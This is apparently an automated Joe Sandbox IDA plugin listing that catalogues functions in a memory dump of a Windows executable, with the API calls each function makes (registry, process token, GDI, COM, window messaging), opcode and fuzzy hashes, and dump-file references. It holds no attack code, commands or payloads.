Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 26ee2146a9a4553fe30a1eadb9ad83756bd8b1e0735f318e5b137b436b583d31
Instruction ID: 87cb0efa76381a6e25c202ae2bc368f161c0389fdae34a9de208ed244c22318b
Opcode Fuzzy Hash: 26ee2146a9a4553fe30a1eadb9ad83756bd8b1e0735f318e5b137b436b583d31
Instruction Fuzzy Hash: 51B18A79A1078ADBDB10CFA9C4807EEB7F1FF48314F14841AE8A9D7254DB30AA51DB50

Function 009101B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 009100BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009100D6
__allrem.LIBCMT ref: 009100ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0091010B
__allrem.LIBCMT ref: 00910122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00910140

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 7c64150170cccd4ed4189de3fe5c62580a5aa068b7a78526f9a2fdffcef3e5bf
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 57811772B0070AAFE7209E28CC51BAB73E9EFC5360F24453AF551D66C1E7B5DA808750

Function 009161FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,009082D9,009082D9,?,?,?,0091644F,00000001,00000001,8BE85006), ref: 00916258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0091644F,00000001,00000001,8BE85006,?,?,?), ref: 009162DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009163D8
__freea.LIBCMT ref: 009163E5

Part of subcall function 00913820: RtlAllocateHeap.NTDLL(00000000,?,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6,?,008E1129), ref: 00913852

__freea.LIBCMT ref: 009163EE
__freea.LIBCMT ref: 00916413

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 21b2fe8a54bdfe79b421b38279008c98e063344080a9064e24f89fb486ea9de8
Instruction ID: d59937cd8795820d17efb63a7bd95e011a757d72e88c5ab40d8c6abb95f21a8b
Opcode Fuzzy Hash: 21b2fe8a54bdfe79b421b38279008c98e063344080a9064e24f89fb486ea9de8
Instruction Fuzzy Hash: CC51D072B0021AABDB258F64CD81FEF77AAEB84710F144629FC25D6180EB34DCC1D660

Function 0096BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 0096C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0096B6AE,?,?), ref: 0096C9B5
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096C9F1
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA68
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0096BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0096BD25
RegCloseKey.ADVAPI32(00000000), ref: 0096BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0096BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0096BDF3
RegCloseKey.ADVAPI32(?), ref: 0096BDFF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: a076e9d8eb938ef129331cec742a81317a561b379703086d0d730f153be1aa70
Instruction ID: eb385b119c77282dc5fd08a1f3564f189b4dbd7737631328b1810175ab06d253
Opcode Fuzzy Hash: a076e9d8eb938ef129331cec742a81317a561b379703086d0d730f153be1aa70
Instruction Fuzzy Hash: 2C81C571108241EFC714DF24C895E2ABBE9FF85308F14895CF5998B2A2DB31ED85CB92

Function 0093F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0093F7B9
SysAllocString.OLEAUT32(00000001), ref: 0093F860
VariantCopy.OLEAUT32(0093FA64,00000000), ref: 0093F889
VariantClear.OLEAUT32(0093FA64), ref: 0093F8AD
VariantCopy.OLEAUT32(0093FA64,00000000), ref: 0093F8B1
VariantClear.OLEAUT32(?), ref: 0093F8BB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: f6bec7bbde4cf054dc0293fa8504911f45d7b3d669a1356e5f9e0d6a92a803d0
Instruction ID: f77f793b7949d5ce79ea7c1bed083cf8a6ef8e93697ccec1d2727dea721222a3
Opcode Fuzzy Hash: f6bec7bbde4cf054dc0293fa8504911f45d7b3d669a1356e5f9e0d6a92a803d0
Instruction Fuzzy Hash: D551B735D10314BBCF24AB65D8A5B29B3A9EF45310F245866F906DF292DB748C40CF57

Function 0095910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 008E7620: _wcslen.LIBCMT ref: 008E7625

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 009594E5
_wcslen.LIBCMT ref: 00959506
_wcslen.LIBCMT ref: 0095952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00959585

Strings

X, xrefs: 00959412

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: c1a166fd598fc5302efa60fa3c73c25e4755d2ad6b7105cc1dfdd8b31185ad2b
Instruction ID: d0da13c3cef5ed4a145fd7bb3d36c8534339a0a56cf8258cc69c17d3f6bc3def
Opcode Fuzzy Hash: c1a166fd598fc5302efa60fa3c73c25e4755d2ad6b7105cc1dfdd8b31185ad2b
Instruction Fuzzy Hash: E9E1B431508340DFD724DF2AC881A6AB7E4FF85314F14896DF9999B2A2EB31DD05CB92

Function 008F920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

BeginPaint.USER32(?,?,?), ref: 008F9241
GetWindowRect.USER32(?,?), ref: 008F92A5
ScreenToClient.USER32(?,?), ref: 008F92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 008F92D3
EndPaint.USER32(?,?,?,?,?), ref: 008F9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 009371EA

Part of subcall function 008F9339: BeginPath.GDI32(00000000), ref: 008F9357

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: aae24785eb7ec7d236c79107292aa075392c7cd75f6a188475ccc6ad2ea448b8
Instruction ID: e0541d7262a516236dae80a99eeddea3a21cd3b256dc53b04c8cb829e7b05b4e
Opcode Fuzzy Hash: aae24785eb7ec7d236c79107292aa075392c7cd75f6a188475ccc6ad2ea448b8
Instruction Fuzzy Hash: 1941B071118305AFD721DF64DCD4FBA7BA8FB55324F140229FAA8C72A1C7319885EB62

Function 009507EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0095080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00950847
EnterCriticalSection.KERNEL32(?), ref: 00950863
LeaveCriticalSection.KERNEL32(?), ref: 009508DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 009508F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00950921

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 902a500176caff67b511f927c6ff6f4eb38da34d05bf1ead97ce516103960140
Instruction ID: b28a9064e09458fa08cdd7fc83f6d573c741a82804dd8ffa3743faa6134aaa4c
Opcode Fuzzy Hash: 902a500176caff67b511f927c6ff6f4eb38da34d05bf1ead97ce516103960140
Instruction Fuzzy Hash: 01414871900209EBDF14EF65DC85A6A77B8FF44310F1440A9EE04AE29BDB31DE65DBA0

Function 009781DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0093F3AB,00000000,?,?,00000000,?,0093682C,00000004,00000000,00000000), ref: 0097824C
EnableWindow.USER32(?,00000000), ref: 00978272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 009782D1
ShowWindow.USER32(?,00000004), ref: 009782E5
EnableWindow.USER32(?,00000001), ref: 0097830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0097832F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: e3607093832fe2dc7539007505427b2fd72e4e58ab710845fc654c102434a560
Instruction ID: 7daa732f0f0306f6e8048fc7f18a2287592316d0a2f2f82f67b03b8ba4a68454
Opcode Fuzzy Hash: e3607093832fe2dc7539007505427b2fd72e4e58ab710845fc654c102434a560
Instruction Fuzzy Hash: 0741F332645640EFDB25CF14D99DBE57BE4FB4A755F1882A8E61C4B2A3CB31A841CB40

Function 00944C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00944C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00944CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00944CEA
_wcslen.LIBCMT ref: 00944D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00944D10
_wcsstr.LIBVCRUNTIME ref: 00944D1A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 0c801459fa38a4d7c4b3760cc3935acf71bffacf9c62c6c6d56ab2545f19db33
Instruction ID: 8e6743aa966f1dbb0846aace8106a7fbc22d5946fc88eed80f997b54b254e7ce
Opcode Fuzzy Hash: 0c801459fa38a4d7c4b3760cc3935acf71bffacf9c62c6c6d56ab2545f19db33
Instruction Fuzzy Hash: F5213872604205BBEB255B39EC89F7B7B9CDF45750F10803DF909CE1D2EA61DC4096A0

Function 0095581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 008E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008E3A97,?,?,008E2E7F,?,?,?,00000000), ref: 008E3AC2

_wcslen.LIBCMT ref: 0095587B
CoInitialize.OLE32(00000000), ref: 00955995
CoCreateInstance.OLE32(0097FCF8,00000000,00000001,0097FB68,?), ref: 009559AE
CoUninitialize.OLE32 ref: 009559CC

Strings

.lnk, xrefs: 00955876, 009558C1, 00955985

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 00ef9676209461dfb9e3fb46d70bc5e26a29e061bc12d15d0738681c6b9c7d6f
Instruction ID: a0396ab07ebaacba3068231b0b3205e318ed0e942386bfba970e812140da2b14
Opcode Fuzzy Hash: 00ef9676209461dfb9e3fb46d70bc5e26a29e061bc12d15d0738681c6b9c7d6f
Instruction Fuzzy Hash: C8D186716047019FC714DF1AC4A4A2ABBE5FF8A711F15885DF8899B362CB31EC49CB92

Function 0094175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00940FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00940FCA
Part of subcall function 00940FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00940FD6
Part of subcall function 00940FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00940FE5
Part of subcall function 00940FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00940FEC
Part of subcall function 00940FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00941002

GetLengthSid.ADVAPI32(?,00000000,00941335), ref: 009417AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 009417BA
HeapAlloc.KERNEL32(00000000), ref: 009417C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 009417DA
GetProcessHeap.KERNEL32(00000000,00000000,00941335), ref: 009417EE
HeapFree.KERNEL32(00000000), ref: 009417F5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 70a27b87d4661ab1c606ffa9a818e8c49379457ae67e016f65ac30f3962a5405
Instruction ID: 9851e8442c766ecd1d31806979590e3ba9f7cd9119304149b5d9d581346aa610
Opcode Fuzzy Hash: 70a27b87d4661ab1c606ffa9a818e8c49379457ae67e016f65ac30f3962a5405
Instruction Fuzzy Hash: DC118B72628205FFDB109FA4CC89FAE7BBDEB86355F104528F485A7210D736A984DB60

Function 009414CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 009414FF
OpenProcessToken.ADVAPI32(00000000), ref: 00941506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00941515
CloseHandle.KERNEL32(00000004), ref: 00941520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0094154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00941563

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 411b679cb41a5bfaa7d4c1c71cd2d4bcfe09f7133548f2a05940ae52efd161ca
Instruction ID: dd40a7792ad5668ac93cad282340f008948a32ce0f8f4a4ed221010d4a3ae9b4
Opcode Fuzzy Hash: 411b679cb41a5bfaa7d4c1c71cd2d4bcfe09f7133548f2a05940ae52efd161ca
Instruction Fuzzy Hash: 0411F9B2605209EBDF118F98DD49FDE7BADEF48744F044019FA09A2160C3758EA5EB60

Function 00903382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00903379,00902FE5), ref: 00903390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0090339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009033B7
SetLastError.KERNEL32(00000000,?,00903379,00902FE5), ref: 00903409

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0f7087a8066be854d9d5056048bc47ab1516c5f4ab4b5b58e5cd438ba8413922
Instruction ID: 2ef48b7c9f5e9a6fb7882d42adfeae4fb4387374fa7a868910d479f12a87ad13
Opcode Fuzzy Hash: 0f7087a8066be854d9d5056048bc47ab1516c5f4ab4b5b58e5cd438ba8413922
Instruction Fuzzy Hash: 6B01477322C721BEEA2527747CC67672A9CEF46379320822DF610881F0FF224D416284

Function 00912D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00915686,00923CD6,?,00000000,?,00915B6A,?,?,?,?,?,0090E6D1,?,009A8A48), ref: 00912D78
_free.LIBCMT ref: 00912DAB
_free.LIBCMT ref: 00912DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0090E6D1,?,009A8A48,00000010,008E4F4A,?,?,00000000,00923CD6), ref: 00912DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0090E6D1,?,009A8A48,00000010,008E4F4A,?,?,00000000,00923CD6), ref: 00912DEC
_abort.LIBCMT ref: 00912DF2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b3cd65ec096a7d8f4bbee51761c2f9c304eecb8433394a12e59444a3260238cc
Instruction ID: 1c13220729a4bf92c68932e670ed74ed8364616959261d98f1fdb889071e7856
Opcode Fuzzy Hash: b3cd65ec096a7d8f4bbee51761c2f9c304eecb8433394a12e59444a3260238cc
Instruction Fuzzy Hash: 01F0A97A7486082BC6123738FD06BDA165D6FC2771F25441CF838961D1EE2488E15160

Function 00978A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 008F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008F9693
Part of subcall function 008F9639: SelectObject.GDI32(?,00000000), ref: 008F96A2
Part of subcall function 008F9639: BeginPath.GDI32(?), ref: 008F96B9
Part of subcall function 008F9639: SelectObject.GDI32(?,00000000), ref: 008F96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00978A4E
LineTo.GDI32(?,00000003,00000000), ref: 00978A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00978A70
LineTo.GDI32(?,00000000,00000003), ref: 00978A80
EndPath.GDI32(?), ref: 00978A90
StrokePath.GDI32(?), ref: 00978AA0

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 4f27c0b918daa37feddc63466d5d63fa7976487f7dc190cec1b262771035ecc3
Instruction ID: 16843eb8d3643d2684bba8bf6634e6419f104b7f2462df5efad003d2a79f0b14
Opcode Fuzzy Hash: 4f27c0b918daa37feddc63466d5d63fa7976487f7dc190cec1b262771035ecc3
Instruction Fuzzy Hash: 43111B7604414CFFDF129F94DC88EAA7F6DEB08390F008026FA199A1A1C7719D95EFA0

Function 009451FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

